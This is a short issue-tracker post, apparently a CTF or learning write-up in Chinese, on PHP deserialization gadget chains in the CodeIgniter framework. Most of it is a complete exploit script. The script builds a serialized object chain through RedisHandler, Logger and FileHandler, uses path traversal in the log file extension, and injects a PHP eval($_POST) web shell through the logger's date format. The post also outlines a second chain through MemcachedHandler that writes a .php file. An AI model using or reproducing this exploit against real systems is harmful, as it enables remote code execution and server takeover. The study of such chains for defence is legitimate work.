Open Aaisui opened 2 years ago
第二条很麻烦,这里记录一下,学到了date注入。
exp:
<?php
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct()
{
$this->redis = new \CodeIgniter\Session\Handlers\RedisHandler();
}
}
}
namespace CodeIgniter\Session\Handlers{
use CodeIgniter\Log\Logger;
class RedisHandler{
protected $redis;
protected $logger;
public function __construct()
{
$this->redis = new \Redis();
$this->logger = new Logger();
}
}
}
namespace CodeIgniter\Log\Handlers{
abstract class BaseHandler{
protected $handles = ['error'];
}
class FileHandler extends BaseHandler {
protected $fileExtension;
protected $path='./';
protected $filePermissions=777;
public function __construct()
{
$this->fileExtension = "1/../b.php";
}
}
}
namespace CodeIgniter\Log{
use CodeIgniter\Log\Handlers\FileHandler;
class Logger{
protected $loggableLevels = ['error'];
protected $handlerConfig = ['FileHandler'=>'a'];
protected $dateFormat;
protected $handles;
public function __construct()
{
$this->handlers = [
'FileHandler'=>new FileHandler()
];
$this->dateFormat='\<\?\p\h\p\ \e\v\a\l\(\$\_\P\O\S\T\[\"0"\]\)\;\?\>';
}
}
}
namespace {
use CodeIgniter\Cache\Handlers\RedisHandler;
$redisHandle = new RedisHandler();
echo urlencode(serialize($redisHandle));
}
起点和上面是一样的,关键在于找到close方法,这里有个思路又拓展了我的想法(报错的也是可以尝试着去看的,并且报错有可能会被日志记录下来,这样的话可以看看能不能控制!
这样的话全局找error方法,找到Logger.php
继续跟进,然后有很长很大的一段=。=这里都是可以控制的,就是需要耐心【真的】
下面这个函数他是自己返回自己,所以不影响我们的操作,还是$handler的的handle方法
之后是date注入控制写入内容,得到shell=。=
这个比较安全,只有两个写文件的地方,如果配置正确不会出现错误的- - 我觉得这两个链子主要是给我提供了要对报错和request敏感一点.. 第一个: exp:
全局下好用的起点只有这个。![图片](https://user-images.githubusercontent.com/57386745/139373741-7ac44f1c-dc68-454a-afc7-0a632204e895.png)
搜索close,找到MemachedHandler.php
发现delete函数可控,全局搜索delete函数,找到request函数,跟过去其实发现url可控。不过对于我们其实没有影响=。=
重点在send函数这里,再跟进option设置里面![图片](https://user-images.githubusercontent.com/57386745/139374087-5b1a9c84-ab29-41dc-a5fd-d1861d67f45c.png)
发现debug模式情况下可以open文件并写入文件,且文件名可控,那么我们控制其为*.php![图片](https://user-images.githubusercontent.com/57386745/139374145-cde635d4-f1d4-45fa-a4a3-ad64f0b6e2be.png)
观察写入的内容,测了一下其实这里的内容不会被urlencode![图片](https://user-images.githubusercontent.com/57386745/139374319-fdb4dc26-3106-413c-b8ef-7d51491ed200.png)
直接生成payload打过去。![图片](https://user-images.githubusercontent.com/57386745/139374374-dbf075d9-e8f5-4017-95e6-f957a6129ee0.png)